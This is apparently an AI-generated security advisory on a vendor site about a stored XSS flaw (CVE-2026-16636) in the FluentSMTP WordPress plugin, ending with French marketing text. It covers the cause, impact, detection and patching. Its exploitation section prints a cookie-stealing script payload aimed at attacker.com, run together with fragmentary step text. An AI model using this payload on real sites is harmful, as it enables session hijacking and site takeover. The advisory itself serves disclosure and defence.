
PEACH
Un cadre d’isolation des locataires
CVE-2026-16636 is a Stored Cross-Site Scripting (XSS) vulnerability in the FluentSMTP – WP SMTP Plugin for WordPress, affecting all versions up to and including 2.2.95. The flaw exists in the Email Logs feature, where insufficient input sanitization and output escaping of the recipient display name (to.name) allows unauthenticated attackers to inject arbitrary web scripts. The vulnerability was published on August 6, 2026, with a patch available in version 2.3.0. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization of the to.name (recipient display name) field stored in email logs via WordPress's wp_mail() function. The payload is stored in the log database and does not execute in the list view — which applies the escapeHtml pipeline — but fires only in the detail view when an administrator uses the Prev/Next navigation controls, a code path that bypasses the escaping logic. Vulnerable code paths are identifiable in app/Models/Logger.php (lines 165 and 310), app/Services/Mailer/BaseHandler.php (lines 290 and 357), and the admin JavaScript bundle fluent-mail-admin-app.js (GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to inject persistent malicious scripts into the WordPress admin panel's email log detail view. When an administrator navigates the log detail view using Prev/Next controls, the injected script executes in their browser session, potentially enabling session token theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and access to sensitive site configuration data. The scope is changed, meaning the impact extends beyond the plugin itself to the broader WordPress installation (GitHub Advisory).
Attacker<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.wp_mail() as the recipient's display name.to.name value in the email log database.escapeHtml). The script executes only when an administrator opens the email log detail view and uses the Prev/Next navigation controls, which bypass the escaping pipeline.to_name or recipient display name field; unexpected entries with encoded characters (<, >, <, javascript:) in email log records.Update the FluentSMTP plugin to version 2.3.0 or later, which includes the fix applied in changeset 3635135 that adds proper output escaping for the to.name field in the detail view navigation path (GitHub Advisory). As an interim workaround, restrict access to the FluentSMTP email logs to the minimum number of trusted administrators, and implement a Content Security Policy (CSP) header to limit the impact of any XSS execution. Site owners should also audit existing email logs for suspicious content in recipient display name fields.
The vulnerability was reported to the Wordfence threat intelligence database and published simultaneously to the GitHub Advisory Database and NVD on August 6, 2026. No significant public researcher commentary or social media discussion has been observed beyond standard vulnerability aggregator coverage (GitHub Advisory).
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."